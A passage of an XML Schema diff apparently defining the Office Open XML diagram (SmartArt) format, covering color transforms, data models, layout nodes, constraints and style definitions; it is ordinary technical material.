<xsd:complexType name="CT_CTStyleLabel"> + <xsd:sequence> + <xsd:element name="fillClrLst" type="CT_Colors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="linClrLst" type="CT_Colors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="effectClrLst" type="CT_Colors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txLinClrLst" type="CT_Colors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txFillClrLst" type="CT_Colors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txEffectClrLst" type="CT_Colors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_ColorTransform"> + <xsd:sequence> + <xsd:element name="title" type="CT_CTName" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="desc" type="CT_CTDescription" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="catLst" type="CT_CTCategories" minOccurs="0"/> + <xsd:element name="styleLbl" type="CT_CTStyleLabel" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="uniqueId" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="minVer" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:element name="colorsDef" type="CT_ColorTransform"/> + <xsd:complexType name="CT_ColorTransformHeader"> + <xsd:sequence> + <xsd:element name="title" type="CT_CTName" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="desc" type="CT_CTDescription" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="catLst" type="CT_CTCategories" minOccurs="0"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="uniqueId" type="xsd:string" use="required"/> + <xsd:attribute name="minVer" type="xsd:string" use="optional"/> + <xsd:attribute name="resId" type="xsd:int" use="optional" default="0"/> + </xsd:complexType> + <xsd:element name="colorsDefHdr" type="CT_ColorTransformHeader"/> + <xsd:complexType name="CT_ColorTransformHeaderLst"> + <xsd:sequence> + <xsd:element name="colorsDefHdr" type="CT_ColorTransformHeader" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="colorsDefHdrLst" type="CT_ColorTransformHeaderLst"/> + <xsd:simpleType name="ST_PtType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="node"/> + <xsd:enumeration value="asst"/> + <xsd:enumeration value="doc"/> + <xsd:enumeration value="pres"/> + <xsd:enumeration value="parTrans"/> + <xsd:enumeration value="sibTrans"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Pt"> + <xsd:sequence> + <xsd:element name="prSet" type="CT_ElemPropSet" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="t" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="modelId" type="ST_ModelId" use="required"/> + <xsd:attribute name="type" type="ST_PtType" use="optional" default="node"/> + <xsd:attribute name="cxnId" type="ST_ModelId" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_PtList"> + <xsd:sequence> + <xsd:element name="pt" type="CT_Pt" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_CxnType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="parOf"/> + <xsd:enumeration value="presOf"/> + <xsd:enumeration value="presParOf"/> + <xsd:enumeration value="unknownRelationship"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Cxn"> + <xsd:sequence> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="modelId" type="ST_ModelId" use="required"/> + <xsd:attribute name="type" type="ST_CxnType" use="optional" default="parOf"/> + <xsd:attribute name="srcId" type="ST_ModelId" use="required"/> + <xsd:attribute name="destId" type="ST_ModelId" use="required"/> + <xsd:attribute name="srcOrd" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="destOrd" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="parTransId" type="ST_ModelId" use="optional" default="0"/> + <xsd:attribute name="sibTransId" type="ST_ModelId" use="optional" default="0"/> + <xsd:attribute name="presId" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_CxnList"> + <xsd:sequence> + <xsd:element name="cxn" type="CT_Cxn" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DataModel"> + <xsd:sequence> + <xsd:element name="ptLst" type="CT_PtList"/> + <xsd:element name="cxnLst" type="CT_CxnList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bg" type="a:CT_BackgroundFormatting" minOccurs="0"/> + <xsd:element name="whole" type="a:CT_WholeE2oFormatting" minOccurs="0"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="dataModel" type="CT_DataModel"/> + <xsd:attributeGroup name="AG_IteratorAttributes"> + <xsd:attribute name="axis" type="ST_AxisTypes" use="optional" default="none"/> + <xsd:attribute name="ptType" type="ST_ElementTypes" use="optional" default="all"/> + <xsd:attribute name="hideLastTrans" type="ST_Booleans" use="optional" default="true"/> + <xsd:attribute name="st" type="ST_Ints" use="optional" default="1"/> + <xsd:attribute name="cnt" type="ST_UnsignedInts" use="optional" default="0"/> + <xsd:attribute name="step" type="ST_Ints" use="optional" default="1"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_ConstraintAttributes"> + <xsd:attribute name="type" type="ST_ConstraintType" use="required"/> + <xsd:attribute name="for" type="ST_ConstraintRelationship" use="optional" default="self"/> + <xsd:attribute name="forName" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="ptType" type="ST_ElementType" use="optional" default="all"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_ConstraintRefAttributes"> + <xsd:attribute name="refType" type="ST_ConstraintType" use="optional" default="none"/> + <xsd:attribute name="refFor" type="ST_ConstraintRelationship" use="optional" default="self"/> + <xsd:attribute name="refForName" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="refPtType" type="ST_ElementType" use="optional" default="all"/> + </xsd:attributeGroup> + <xsd:complexType name="CT_Constraint"> + <xsd:sequence> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_ConstraintAttributes"/> + <xsd:attributeGroup ref="AG_ConstraintRefAttributes"/> + <xsd:attribute name="op" type="ST_BoolOperator" use="optional" default="none"/> + <xsd:attribute name="val" type="xsd:double" use="optional" default="0"/> + <xsd:attribute name="fact" type="xsd:double" use="optional" default="1"/> + </xsd:complexType> + <xsd:complexType name="CT_Constraints"> + <xsd:sequence> + <xsd:element name="constr" type="CT_Constraint" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NumericRule"> + <xsd:sequence> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_ConstraintAttributes"/> + <xsd:attribute name="val" type="xsd:double" use="optional" default="NaN"/> + <xsd:attribute name="fact" type="xsd:double" use="optional" default="NaN"/> + <xsd:attribute name="max" type="xsd:double" use="optional" default="NaN"/> + </xsd:complexType> + <xsd:complexType name="CT_Rules"> + <xsd:sequence> + <xsd:element name="rule" type="CT_NumericRule" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PresentationOf"> + <xsd:sequence> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_IteratorAttributes"/> + </xsd:complexType> + <xsd:simpleType name="ST_LayoutShapeType" final="restriction"> + <xsd:union memberTypes="a:ST_ShapeType ST_OutputShapeType"/> + </xsd:simpleType> + <xsd:simpleType name="ST_Index1"> + <xsd:restriction base="xsd:unsignedInt"> + <xsd:minInclusive value="1"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Adj"> + <xsd:attribute name="idx" type="ST_Index1" use="required"/> + <xsd:attribute name="val" type="xsd:double" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_AdjLst"> + <xsd:sequence> + <xsd:element name="adj" type="CT_Adj" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Shape"> + <xsd:sequence> + <xsd:element name="adjLst" type="CT_AdjLst" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="rot" type="xsd:double" use="optional" default="0"/> + <xsd:attribute name="type" type="ST_LayoutShapeType" use="optional" default="none"/> + <xsd:attribute ref="r:blip" use="optional"/> + <xsd:attribute name="zOrderOff" type="xsd:int" use="optional" default="0"/> + <xsd:attribute name="hideGeom" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="lkTxEntry" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="blipPhldr" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Parameter"> + <xsd:attribute name="type" type="ST_ParameterId" use="required"/> + <xsd:attribute name="val" type="ST_ParameterVal" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Algorithm"> + <xsd:sequence> + <xsd:element name="param" type="CT_Parameter" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_AlgorithmType" use="required"/> + <xsd:attribute name="rev" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_LayoutNode"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="alg" type="CT_Algorithm" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shape" type="CT_Shape" minOccurs="0" maxOccurs="1"/> + <xsd:element name="presOf" type="CT_PresentationOf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="constrLst" type="CT_Constraints" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ruleLst" type="CT_Rules" minOccurs="0" maxOccurs="1"/> + <xsd:element name="varLst" type="CT_LayoutVariablePropertySet" minOccurs="0" maxOccurs="1"/> + <xsd:element name="forEach" type="CT_ForEach"/> + <xsd:element name="layoutNode" type="CT_LayoutNode"/> + <xsd:element name="choose" type="CT_Choose"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="styleLbl" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="chOrder" type="ST_ChildOrderType" use="optional" default="b"/> + <xsd:attribute name="moveWith" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_ForEach"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="alg" type="CT_Algorithm" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shape" type="CT_Shape" minOccurs="0" maxOccurs="1"/> + <xsd:element name="presOf" type="CT_PresentationOf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="constrLst" type="CT_Constraints" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ruleLst" type="CT_Rules" minOccurs="0" maxOccurs="1"/> + <xsd:element name="forEach" type="CT_ForEach"/> + <xsd:element name="layoutNode" type="CT_LayoutNode"/> + <xsd:element name="choose" type="CT_Choose"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="ref" type="xsd:string" use="optional" default=""/> + <xsd:attributeGroup ref="AG_IteratorAttributes"/> + </xsd:complexType> + <xsd:complexType name="CT_When"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="alg" type="CT_Algorithm" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shape" type="CT_Shape" minOccurs="0" maxOccurs="1"/> + <xsd:element name="presOf" type="CT_PresentationOf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="constrLst" type="CT_Constraints" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ruleLst" type="CT_Rules" minOccurs="0" maxOccurs="1"/> + <xsd:element name="forEach" type="CT_ForEach"/> + <xsd:element name="layoutNode" type="CT_LayoutNode"/> + <xsd:element name="choose" type="CT_Choose"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + <xsd:attributeGroup ref="AG_IteratorAttributes"/> + <xsd:attribute name="func" type="ST_FunctionType" use="required"/> + <xsd:attribute name="arg" type="ST_FunctionArgument" use="optional" default="none"/> + <xsd:attribute name="op" type="ST_FunctionOperator" use="required"/> + <xsd:attribute name="val" type="ST_FunctionValue" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Otherwise"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="alg" type="CT_Algorithm" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shape" type="CT_Shape" minOccurs="0" maxOccurs="1"/> + <xsd:element name="presOf" type="CT_PresentationOf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="constrLst" type="CT_Constraints" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ruleLst" type="CT_Rules" minOccurs="0" maxOccurs="1"/> + <xsd:element name="forEach" type="CT_ForEach"/> + <xsd:element name="layoutNode" type="CT_LayoutNode"/> + <xsd:element name="choose" type="CT_Choose"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_Choose"> + <xsd:sequence> + <xsd:element name="if" type="CT_When" maxOccurs="unbounded"/> + <xsd:element name="else" type="CT_Otherwise" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_SampleData"> + <xsd:sequence> + <xsd:element name="dataModel" type="CT_DataModel" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="useDef" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Category"> + <xsd:attribute name="type" type="xsd:anyURI" use="required"/> + <xsd:attribute name="pri" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Categories"> + <xsd:sequence> + <xsd:element name="cat" type="CT_Category" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Name"> + <xsd:attribute name="lang" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="val" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Description"> + <xsd:attribute name="lang" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="val" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DiagramDefinition"> + <xsd:sequence> + <xsd:element name="title" type="CT_Name" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="desc" type="CT_Description" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="catLst" type="CT_Categories" minOccurs="0"/> + <xsd:element name="sampData" type="CT_SampleData" minOccurs="0"/> + <xsd:element name="styleData" type="CT_SampleData" minOccurs="0"/> + <xsd:element name="clrData" type="CT_SampleData" minOccurs="0"/> + <xsd:element name="layoutNode" type="CT_LayoutNode"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="uniqueId" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="minVer" type="xsd:string" use="optional"/> + <xsd:attribute name="defStyle" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:element name="layoutDef" type="CT_DiagramDefinition"/> + <xsd:complexType name="CT_DiagramDefinitionHeader"> + <xsd:sequence> + <xsd:element name="title" type="CT_Name" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="desc" type="CT_Description" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="catLst" type="CT_Categories" minOccurs="0"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="uniqueId" type="xsd:string" use="required"/> + <xsd:attribute name="minVer" type="xsd:string" use="optional"/> + <xsd:attribute name="defStyle" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="resId" type="xsd:int" use="optional" default="0"/> + </xsd:complexType> + <xsd:element name="layoutDefHdr" type="CT_DiagramDefinitionHeader"/> + <xsd:complexType name="CT_DiagramDefinitionHeaderLst"> + <xsd:sequence> + <xsd:element name="layoutDefHdr" type="CT_DiagramDefinitionHeader" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="layoutDefHdrLst" type="CT_DiagramDefinitionHeaderLst"/> + <xsd:complexType name="CT_RelIds"> + <xsd:attribute ref="r:dm" use="required"/> + <xsd:attribute ref="r:lo" use="required"/> + <xsd:attribute ref="r:qs" use="required"/> + <xsd:attribute ref="r:cs" use="required"/> + </xsd:complexType> + <xsd:element name="relIds" type="CT_RelIds"/> + <xsd:simpleType name="ST_ParameterVal"> + <xsd:union + memberTypes="ST_DiagramHorizontalAlignment ST_VerticalAlignment ST_ChildDirection ST_ChildAlignment ST_SecondaryChildAlignment ST_LinearDirection ST_SecondaryLinearDirection ST_StartingElement ST_BendPoint ST_ConnectorRouting ST_ArrowheadStyle ST_ConnectorDimension ST_RotationPath ST_CenterShapeMapping ST_NodeHorizontalAlignment ST_NodeVerticalAlignment ST_FallbackDimension ST_TextDirection ST_PyramidAccentPosition ST_PyramidAccentTextMargin ST_TextBlockDirection ST_TextAnchorHorizontal ST_TextAnchorVertical ST_DiagramTextAlignment ST_AutoTextRotation ST_GrowDirection ST_FlowDirection ST_ContinueDirection ST_Breakpoint ST_Offset ST_HierarchyAlignment xsd:int xsd:double xsd:boolean xsd:string ST_ConnectorPoint" + /> + </xsd:simpleType> + <xsd:simpleType name="ST_ModelId"> + <xsd:union memberTypes="xsd:int s:ST_Guid"/> + </xsd:simpleType> + <xsd:simpleType name="ST_PrSetCustVal"> + <xsd:union memberTypes="s:ST_Percentage xsd:int"/> + </xsd:simpleType> + <xsd:complexType name="CT_ElemPropSet"> + <xsd:sequence> + <xsd:element name="presLayoutVars" type="CT_LayoutVariablePropertySet" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="presAssocID" type="ST_ModelId" use="optional"/> + <xsd:attribute name="presName" type="xsd:string" use="optional"/> + <xsd:attribute name="presStyleLbl" type="xsd:string" use="optional"/> + <xsd:attribute name="presStyleIdx" type="xsd:int" use="optional"/> + <xsd:attribute name="presStyleCnt" type="xsd:int" use="optional"/> + <xsd:attribute name="loTypeId" type="xsd:string" use="optional"/> + <xsd:attribute name="loCatId" type="xsd:string" use="optional"/> + <xsd:attribute name="qsTypeId" type="xsd:string" use="optional"/> + <xsd:attribute name="qsCatId" type="xsd:string" use="optional"/> + <xsd:attribute name="csTypeId" type="xsd:string" use="optional"/> + <xsd:attribute name="csCatId" type="xsd:string" use="optional"/> + <xsd:attribute name="coherent3DOff" type="xsd:boolean" use="optional"/> + <xsd:attribute name="phldrT" type="xsd:string" use="optional"/> + <xsd:attribute name="phldr" type="xsd:boolean" use="optional"/> + <xsd:attribute name="custAng" type="xsd:int" use="optional"/> + <xsd:attribute name="custFlipVert" type="xsd:boolean" use="optional"/> + <xsd:attribute name="custFlipHor" type="xsd:boolean" use="optional"/> + <xsd:attribute name="custSzX" type="xsd:int" use="optional"/> + <xsd:attribute name="custSzY" type="xsd:int" use="optional"/> + <xsd:attribute name="custScaleX" type="ST_PrSetCustVal" use="optional"/> + <xsd:attribute name="custScaleY" type="ST_PrSetCustVal" use="optional"/> + <xsd:attribute name="custT" type="xsd:boolean" use="optional"/> + <xsd:attribute name="custLinFactX" type="ST_PrSetCustVal" use="optional"/> + <xsd:attribute name="custLinFactY" type="ST_PrSetCustVal" use="optional"/> + <xsd:attribute name="custLinFactNeighborX" type="ST_PrSetCustVal" use="optional"/> + <xsd:attribute name="custLinFactNeighborY" type="ST_PrSetCustVal" use="optional"/> + <xsd:attribute name="custRadScaleRad" type="ST_PrSetCustVal" use="optional"/> + <xsd:attribute name="custRadScaleInc" type="ST_PrSetCustVal" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_Direction" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="norm"/> + <xsd:enumeration value="rev"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HierBranchStyle" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="l"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="hang"/> + <xsd:enumeration value="std"/> + <xsd:enumeration value="init"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AnimOneStr" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="one"/> + <xsd:enumeration value="branch"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AnimLvlStr" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="lvl"/> + <xsd:enumeration value="ctr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_OrgChart"> + <xsd:attribute name="val" type="xsd:boolean" default="false" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_NodeCount"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="-1"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ChildMax"> + <xsd:attribute name="val" type="ST_NodeCount" default="-1" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ChildPref"> + <xsd:attribute name="val" type="ST_NodeCount" default="-1" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_BulletEnabled"> + <xsd:attribute name="val" type="xsd:boolean" default="false" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Direction"> + <xsd:attribute name="val" type="ST_Direction" default="norm" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_HierBranchStyle"> + <xsd:attribute name="val" type="ST_HierBranchStyle" default="std" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_AnimOne"> + <xsd:attribute name="val" type="ST_AnimOneStr" default="one" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_AnimLvl"> + <xsd:attribute name="val" type="ST_AnimLvlStr" default="none" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_ResizeHandlesStr" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="exact"/> + <xsd:enumeration value="rel"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ResizeHandles"> + <xsd:attribute name="val" type="ST_ResizeHandlesStr" default="rel" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_LayoutVariablePropertySet"> + <xsd:sequence> + <xsd:element name="orgChart" type="CT_OrgChart" minOccurs="0" maxOccurs="1"/> + <xsd:element name="chMax" type="CT_ChildMax" minOccurs="0" maxOccurs="1"/> + <xsd:element name="chPref" type="CT_ChildPref" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bulletEnabled" type="CT_BulletEnabled" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dir" type="CT_Direction" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hierBranch" type="CT_HierBranchStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="animOne" type="CT_AnimOne" minOccurs="0" maxOccurs="1"/> + <xsd:element name="animLvl" type="CT_AnimLvl" minOccurs="0" maxOccurs="1"/> + <xsd:element name="resizeHandles" type="CT_ResizeHandles" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SDName"> + <xsd:attribute name="lang" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="val" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SDDescription"> + <xsd:attribute name="lang" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="val" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SDCategory"> + <xsd:attribute name="type" type="xsd:anyURI" use="required"/> + <xsd:attribute name="pri" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SDCategories"> + <xsd:sequence minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="cat" type="CT_SDCategory" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TextProps"> + <xsd:sequence> + <xsd:group ref="a:EG_Text3D" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_StyleLabel"> + <xsd:sequence> + <xsd:element name="scene3d" type="a:CT_Scene3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sp3d" type="a:CT_Shape3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="CT_TextProps" minOccurs="0" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_StyleDefinition"> + <xsd:sequence> + <xsd:element name="title" type="CT_SDName" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="desc" type="CT_SDDescription" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="catLst" type="CT_SDCategories" minOccurs="0"/> + <xsd:element name="scene3d" type="a:CT_Scene3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="styleLbl" type="CT_StyleLabel" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="uniqueId" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="minVer" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:element name="styleDef" type="CT_StyleDefinition"/> + <xsd:complexType name="CT_StyleDefinitionHeader"> + <xsd:sequence> + <xsd:element name="title" type="CT_SDName" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="desc" type="CT_SDDescription" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="catLst" type="CT_SDCategories" minOccurs="0"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="uniqueId" type="xsd:string" use="required"/> + <xsd:attribute name="minVer" type="xsd:string" use="optional"/> + <xsd:attribute name="resId" type="xsd:int" use="optional" default="0"/> + </xsd:complexType> + <xsd:element name="styleDefHdr" type="CT_StyleDefinitionHeader"/> + <xsd:complexType name="CT_StyleDefinitionHeaderLst"> + <xsd:sequence> + <xsd:element name="styleDefHdr" type="CT_StyleDefinitionHeader" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="styleDefHdrLst" type="CT_StyleDefinitionHeaderLst"/> + <xsd:simpleType name="ST_AlgorithmType" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="composite"/> + <xsd:enumeration value="conn"/> + <xsd:enumeration value="cycle"/> + <xsd:enumeration value="hierChild"/> + <xsd:enumeration value="hierRoot"/> + <xsd:enumeration value="pyra"/> + <xsd:enumeration value="lin"/> + <xsd:enumeration value="sp"/> + <xsd:enumeration value="tx"/> + <xsd:enumeration value="snake"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AxisType" final="restriction"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="self"/> + <xsd:enumeration value="ch"/> + <xsd:enumeration value="des"/> + <xsd:enumeration value="desOrSelf"/> + <xsd:enumeration value="par"/> + <xsd:enumeration value="ancst"/> + <xsd:enumeration value="ancstOrSelf"/> + <xsd:enumeration value="followSib"/> + <xsd:enumeration value="precedSib"/> + <xsd:enumeration value="follow"/> + <xsd:enumeration value="preced"/> + <xsd:enumeration value="root"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AxisTypes"> + <xsd:list itemType="ST_AxisType"/> + </xsd:simpleType> + <xsd:simpleType name="ST_BoolOperator" final="restriction"> + <xsd:restriction base="xsd:token"> + 